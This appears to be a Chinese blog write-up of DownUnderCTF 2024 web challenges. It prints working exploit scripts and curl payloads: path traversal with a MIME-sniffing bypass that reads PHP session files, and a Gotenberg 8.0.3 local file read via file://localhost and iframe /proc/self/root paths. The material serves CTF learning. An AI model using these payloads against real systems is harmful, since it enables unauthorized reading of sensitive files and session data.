240705downunderctf Learning Process Record

cvestone 发布于 2024-07-17 344 次阅读 4842 字 预计阅读时间: 22 分钟


web

co2

Description

考察知识点

Descriptions

比赛时的临时笔记

识别出是个flask框架,审计到app/routes.py,也就是路由配置文件中存在一个看起来很重要的注释:
2024-07-16-11-19-27
但是很遗憾最终并没有解读成功,我不知道接下来该如何利用这个关键信息。

赛后学习

注释:

Because we want to dynamically grab the data and save it attributes we can merge it and it *should* create those attribs for the object.
因为我们想要动态抓取数据并保存它的属性,我们可以合并它,它*应该*为对象创建这些属性。

看了官方wp,这部分注释确实是切入点,wp给了我启发,我们可以提取在注释中所有看起来特别且关键的动词,然后在全局搜索这些动词,或许就能获取到更多信息:
2024-07-16-11-47-33
2024-07-16-11-45-40
只有一个utils.py,进去看看:

从官方给的参考文章了解到这题实际上考察的是python的"原型"污染,更准确来说应该叫类污染,因为python中没有原型这个概念,原型这个概念是来自于JavaScript的,但python的内置属性和原型很相似。
了解python的类污染前,先看看JavaScript的原型污染,因为前者是后者的延申与类比。
首先原型是什么?
2024-07-19-11-14-50
原型是JavaScript中每个对象的内置属性,它本身也是一个对象,因此原型也有自己的原型,形成所谓的原型链,这听起来很像其他面向对象语言的继承关系。可以将原型看作是一个对象的 "父亲",它包含了一些属性和方法。当你创建一个新对象时,JavaScript 会自动将这个对象连接到其父原型上。这意味着,新对象可以继承父原型中的属性和方法。使用原型和原型链的好处是,我们可以在对象之间共享属性和方法,避免重复定义相同的代码。

更多关于javascript的原型知识参考该文档

那么原型污染又是什么?
2024-07-19-11-47-34

我们还需要了解一下Object.prototype
2024-07-19-12-00-43
Object 是一个内置的构造函数,用于创建对象。Object.prototype 是 Object 构造函数的原型,它提供了一些通用的属性和方法,可以被其他对象继承和访问。Object.prototype 在原型链中处于顶端,是所有对象共享的根原型。当我们创建一个新对象时,这个对象会自动连接到Object.prototype,形成原型链。通过原型链,对象可以继承和访问 Object.prototype 上定义的属性和方法。

注意:虽然Object.prototype 是根原型,但并不是所有的对象都直接继承自它。实际上,每个对象都有自己的原型,可以是通过构造函数的 prototype 属性指定的其他对象。

了解到这里,越来越觉得这和java的类继承也没太大的区别,可为什么JavaScript偏偏要引入原型这个独树一帜的概念呢?

当从语言特点和应用需求角度分析,我发现了,因为JavaScript是动态解释型脚本语言,而java是静态编译型语言。JavaScript设计的初衷是为网页编程而设计,在客户端中需要实现大量的动态交互。原型继承允许对象在运行时动态地继承和修改属性和方法,而不需要在编译时确定完整的继承关系,并且JavaScript中几乎所有的数据都是对象,原型继承更符合JavaScript的对象模型,它可以更自然地表示对象之间的关系,另外,原型继承的语法相对简洁,不需要像经典继承那样定义类和子类,在JavaScript中,我们可以直接通过创建对象和设置原型来实现继承关系,而不需要引入额外的语法和概念;

而java 中的继承是基于类和接口的继承,通过创建子类来继承父类的属性和方法,继承关系在编译时就需要确定,并且在类层级结构上保持静态的关系,这意味着在 java 中,类的继承关系在编译时就已经定义好,无法在运行时动态地修改继承关系以及属性方法。
总之,javascript更灵活和动态,java则更注重于可靠性、安全性和性能,求稳定。

所以,当我们“污染”(或者说篡改)了Object.prototype,根据继承机制和它的地位,所有在这条原型链上的原型和与这些原型相关联的对象都会受影响,会在运行时动态地继承原型中被“污染”的属性和方法,这是一场影响范围极广的灾难。


回归到研究这次的主角--python中的“类污染”:
当复现完官方给的参考文章中的例子,对类污染的认识也有了基本的认识,

i-am-confusion

Description

考察知识点

比赛时的临时笔记

const verifyAlg = { algorithms: ['HS256','RS256'] }
const signAlg = { algorithm:'RS256' }

使用公钥 publicKey 和指定的验证算法 verifyAlg 对 cookie 中的 'auth' 值进行 JWT 解码和验证。

如果解码后的 JWT 中的 'user' 字段等于 'admin',则发送带有文件路径 admin.html 的响应,这可能是管理员页面,其中包含了 flag。

const jwt = require('jsonwebtoken')
var fs = require('fs')
const privateKey = fs.readFileSync('keys/priv.key')

var payload = { user: admin };
const signAlg = { algorithm:'RS256' }
const jwt_token = jwt.sign(payload, privateKey, signAlg)
console.log(jwt_token)

猜测考法是jwt混淆加密的绕过,但是直接访问公钥和私钥都没权限,如果能有办法泄露公钥问题就迎刃而解了


所以,上面是我在比赛过程中的解题思路,很遗憾最终没有解出来。后面发现这题情况和portswigger实验很类似

赛后学习

sniffy

Description

考察知识点

比赛时的临时笔记

源码中除了index.php中的$_SESSION['flag'] = FLAG; /* Flag is in the session here! */没发现啥特殊的逻辑。
页面分析没啥特别的,抓包抓到session=hidp18nrtuipjrnrhss2p48vh9,但识别不出啥编码或加密。感觉剩下的线索就是页面三个音频文件可能存在音频隐写了,还有就是Dockerfile启动容器后进入容器看php.ini;不过docker暂时启动不起来。

赛后学习

首先拿到题目,先从黑盒角度尽可能获取多一些信息,
由于首页功能点比较少,我们可以通过burp抓包了解每个请求的细节:
点击播放鸟叫的按钮,burp拦截,
注意到用GET方式,并且播放时实际上是把对应的音频文件传递给f参数,还有接收的mine类型:
2024-07-17-00-16-05
点击右上角切换主题按钮,同样也是GET方式,把主题选项传递给theme参数:
2024-07-17-00-14-29
查看源代码没有任何发现,至此,没有更多信息了。

接下来继续从白盒角度分析题目给的源代码:
刚开始分析源码,我们可以将项目导入到phpstorm等编辑器中,全局搜索flag字符串,毕竟它是我们的最终目标,我们可以通过它来反向寻找所有的关键线索:
2024-07-17-00-29-02
注意到flag被存储在了SESSION中(也就是会话的cookie中)!同样地,主题也被存储在其中。
紧接着,注意到audio.php中将参数f获取到的文件名拼接成相对路径,然后用readfile读取,另外还对读取的文件的mine类型做了判断,只有audio才能读取成功,算是一种保护措施:
2024-07-17-07-09-01
那么我们的SESSION cookie存储在服务器哪里呢?因为我们需要知道这个cookie的值的格式才有可能有更多利用的想法,而burp拦截到的已经是加密后的字符串,看不出什么。
搜索看看,如果它的存储位置仍然是默认的:
2024-07-17-07-16-52
显然,我们需要进入服务器做验证,题目给了我们Dockerfile来本地部署它,而不仅仅是做代码分析用的。我们试着进入docker然后让它自己访问自己,看看能不能获取到/tmp的session文件,果然,我们找到了!
2024-07-17-07-43-43
2024-07-17-07-45-24
而且我们发现这个值的格式竟然是序列化输出的。回想一下,PHPSESSID(SESSION cookie)中的'flag'来自于包含的文件flag.php的FLAG变量,而'theme'用了三目运算符,从GET参数中的theme获取值,如果不指定则默认为light,也就是说它是我们可以控制的!
看了官方wp,只给了一个python脚本:
2024-07-17-09-21-18
但不太理解第一个请求为什么要构造这样的值,第二个请求很好理解,先自定义一个PHPSESSID值,然后尝试利用目录遍历+LFI读取/tmp中生成的session文件。感谢siunam师傅的wp给了我启发:
前面分析到的mine类型检测是可以bypass的!既然f参数可以读取文件,而我们又需要读取PHPSESSID对应文件的值,我们可以尝试欺骗mine类型检测,给f参数传递PHPSESSID对应文件,让mine类型检测认为这个文件就是audio类型文件!

那么我们就先要知道检测的底层逻辑,也就是要知道mime_content_type函数的原理:
2024-07-17-09-43-13
2024-07-17-09-45-03
这里提到了一个文件magic.mime,也就是定义mine类型都有哪些,从而才能够检测,继续搜索这个文件,看看内容:
2024-07-17-09-47-55
开头写了mine的定义格式列表,告诉php该如何解析这些定义好的mine类型:
2024-07-17-09-57-17
先根据这个列表试着分析一下第一个示例:
2024-07-17-10-04-14
首先检查文件字节的第0个索引(也就是第一位偏移开始),如果该位置的数据类型是belong(32位大端序整数),值是0x2e7261fd,这个文件就会被解析为audio/x-pn-realaudio的MIME类型,这里的值也就是文件的签名,或者说是魔术字节,用于检测文件类型。
但是我们需要用作欺骗的文件有自己的文件头,如果直接尝试修改文件头,很可能导致这个文件无法正常解析,所以是否还有不从文件头位置开始检测的其他audioMIME类型,毕竟代码中的检测只需要MIME类型以audio开头就可以,可以搜索所有与它相关的,显然这些都可以尝试:
2024-07-17-10-21-03

所以我们需要做的就是构造theme参数的值将其传递出去,然后最终和flag一起作为sess_xxxxxxxx文件的内容时,通过f参数路径遍历到这个文件尝试读取,当mime_content_type函数检测到这个文件的第1080个字节开始是M.K.字符串时,就会解析为audio/x-mod文件MIME类型,所以就可以实现bypass从而读取到flag!!

因此我们需要写脚本来构造请求,最终我通过学习到shen师傅写的脚本利用成功:

import requests

URL = "https://web-sniffy-d9920bbcf9df.2024.ductf.dev/"
# 创建一个会话对象
s = requests.Session()

# 发送正常请求,生成默认的正常session,用于获取初始session值的序列化输出长度
s.get(URL)
cookies = s.cookies['PHPSESSID']

original = f'flag|s:7:"DUCTF{{}}";theme|s:5:"light";'

# 尝试不同的参数来触发漏洞
for i in range(100):
    # 构造查询参数code
    # code由大量'A'字符填充,以使其长度为1000减去original的长度,
    # 然后添加'B' * i和'M.K.',构成完整的code字符串
    code = "A" * (1000 - len(original)) + "B" * i + 'M.K.'

    # 发送GET请求,将构造的code作为查询参数传递给index.php页面
    r = s.get(f'{URL}/index.php?theme={code}')

    # 使用requests库发送GET请求到audio.php页面,尝试读取会话文件
    r2 = requests.get(f'{URL}/audio.php?f=../../../../../tmp/sess_{cookies}')

    if r2.status_code == 403:
        # 如果返回的状态码为403(禁止访问),则继续下一次循环
        print(f'Trying {i}')
        continue
    else:
        # 如果状态码不是403,打印出响应的文本内容,并结束循环
        print(r2.text)
        break

注意给original赋值时,为了在f-string中正常输出{},需要使用两个连续的大括号来进行转义,以避免被解释为格式化字符串的表达式!关于为什么要获取初始session值的序列化输出长度,我们的目的是使第1082个字节开始是M.K.,但这个original是在本地部署的docker中得到的,实验环境中定义的flag是空值,远程目标的flag不是,我们不知道当flag有值时前面的序列化输出占多少字节,我们只能在本地部署的基础上去做尝试,先保留original部分,首先用A来填充字节使整体的长度接近1000,但是当flag有值时,我们不知道还需要继续填充多少个字节才能达到第1082个字节,所以这部分要通过爆破的方式并且用B(便于分辨)来填充,这里的字节数是动态的,所以直接再拼接上M.K.就可以。
2024-07-17-10-50-42
将其复制下来,我们也注意到魔术字符串M.K.正好就在第1082个字节的位置!
2024-07-17-11-00-32

不过毕竟是一个爆破脚本,每次爆破时发送的请求太快可能会造成与目标服务网络中断等问题,所以最好再改进一下脚本,如下:

import requests
import time

URL = "https://web-sniffy-d9920bbcf9df.2024.ductf.dev/"
s = requests.Session()

s.get(URL)
cookies = s.cookies['PHPSESSID']

original = f'flag|s:11:"rp01sword{{}}";theme|s:5:"light";'

for i in range(100):
    code = "A" * (1000 - len(original)) + "B" * i + 'M.K.'

    try:
        r = s.get(f'{URL}/index.php?theme={code}')
        time.sleep(1)  # 添加延迟,防止频繁发送请求

        r2 = s.get(f'{URL}/audio.php?f=../../../../../tmp/sess_{cookies}')
        time.sleep(1)  # 添加延迟,防止频繁发送请求

        if r2.status_code == 403:
            print(f'Trying {i}')
            continue
        else:
            print(r2.text)
            break

    except requests.exceptions.RequestException as e:
        print(f'An error occurred: {str(e)}')
        continue

官方wp的脚本更简洁,也成功利用:

import requests

cookies = {
	'PHPSESSID': 'abcd'
}

for i in range(4):
	r = requests.get('https://web-sniffy-d9920bbcf9df.2024.ductf.dev/', params={'theme': 'a' * i + 'M.K.' * 300}, cookies=cookies)
	r = requests.get('https://web-sniffy-d9920bbcf9df.2024.ductf.dev/audio.php', params={'f': '../../../../tmp/sess_abcd'})
	if r.status_code != 403:
		print('found')
		print(r.text)

官方的脚本首先直接把PHPSESSID固定了,但是官方的这种爆破方式从我个人来看不仅相对不好理解,而且不如上面的脚本更灵活。
2024-07-17-10-53-00

经验总结

wp参考的感谢

siunam
shen

hah got em

Description

考察知识点

比赛时的临时笔记

有些迷茫,但通过搜索知道当用docker启动genburten,访问后是一个api接口,可以用于将各种文档格式转换为pdf

赛后学习

首先访问页面:
2024-07-17-11-56-32
查看源码和网络捕获都没有发现什么。
查看源代码发现给的也非常有限,只有Dockerfile告诉我们flag在目标服务器的/etc下,所以我们的目标是尝试读取/etc/flag.txt并且可以知道版本信息gotenberg:8.0.3,进入docker后也没有什么发现,所以获取到的信息很有限,只能尝试去搜索是否有适合该版本的公开poc,然而谷歌中并没有发现。通过官方wp的提示,尝试去github里查找8.0.3版本以及相邻版本中的一些说明信息:
果然,发现8.1.0版本发布了安全更新的通告!
2024-07-17-12-10-14
在这个版本之前存在未授权访问Gotenberg容器的系统文件的漏洞!8.0.3符合,可以尝试。
但我们需要知道是代码中哪个地方造成了这个漏洞,因此我们需要比较这两个版本之间的不同,也就是打补丁前后的变化情况,官方wp介绍了在库路径末尾添加/compare就可以实现,说实话我还是第一次知道,看来github的使用经验不够丰富,然后不仅显示了代码的变化还有每次的Commits:
2024-07-17-12-38-57
注意到刚开始出现了我们漏洞利用中最敏感的信息之一:
2024-07-17-19-26-22
显然是我们再熟悉不过的payload的一部分了,利用php的伪协议file:///结合文件包含等漏洞来读取敏感文件,这里是利用正则匹配做了黑名单,我们需要看的是8.0.3的,只要是开头出现file:///然后拼接上以t或m或p开头的路径,就会匹配上从而被拦截,这里的绕过方法从EnchLolz师傅的wp得到启发:
2024-07-17-19-40-26
原来file协议的URI是可以包括主机名的,这还是我第一次注意到这个细节。
然后查阅Gotenberg文档,尝试能否构造payload实现file伪协议的文件读取,
先不构造任何payload,只尝试将本次ctf平台网站转换成pdf:

curl \
--request POST https://web-hah-got-em-20ac16c4b909.2024.ductf.dev/forms/chromium/convert/url \
--form url=https://play.duc.tf \
-o out.pdf

注意请求时别忘了指定Gotenberg的接口路径,要和官方文档保持一致。
很好,我们转换成功了:
2024-07-17-19-54-05
接着尝试构造payload:

curl \
--request POST https://web-hah-got-em-20ac16c4b909.2024.ductf.dev/forms/chromium/convert/url \
--form url=file://localhost/etc/flag.txt \
-o flag.pdf

成功!
2024-07-17-19-56-36

官方的wp则是利用另一个接口,用本地文件转换为pdf,如文档中的示例,因此执行:

curl \
--request POST https://web-hah-got-em-20ac16c4b909.2024.ductf.dev/forms/chromium/convert/html \
--form files=@index.html \
-o flag2.pdf

所以可以写一个html来包含远程目标中的flag文件,从而转换为pdf后就可以读取到:

<html>

<body>
    <iframe src="/proc/self/root/etc/flag.txt"></iframe>
    <iframe src="\\localhost/etc/flag.txt"></iframe>
</body>

</html>

而之所以这样构造,同样是来自于github中比较差异的结果
2024-07-17-21-44-37
这看起来像是开发着的测试用例,然后发布项目后忘记删除了,这很危险,因为它能读取到系统中的文件,这正好和我们的需求相同,因此构造上面的payload,这个payload中用了两个方法,第二行的iframe就是上面提到的,由于目标是linux系统,第一行的方法用到了/proc/self这个特殊路径,它是一个虚拟文件系统procfs,它提供了对系统内核和进程信息的访问。在 /proc/ 目录下,每个正在运行的进程都有一个以其PID命名的子目录。进程可以通过访问 /proc/self/ 来引用自身的进程目录,而/proc/self/root/可以访问到当前进程的根目录,即linux的根目录/,注意这种特殊路径是一个符号链接,别与linux的目录混淆了。

2024-07-17-22-05-47

经验总结

wp参考的感谢

EnchLolz

waifu

Description

考察知识点

赛后学习

经验总结

wp参考的感谢

  • alipay_img
  • wechat_img
此作者没有提供个人介绍
最后更新于 2024-07-23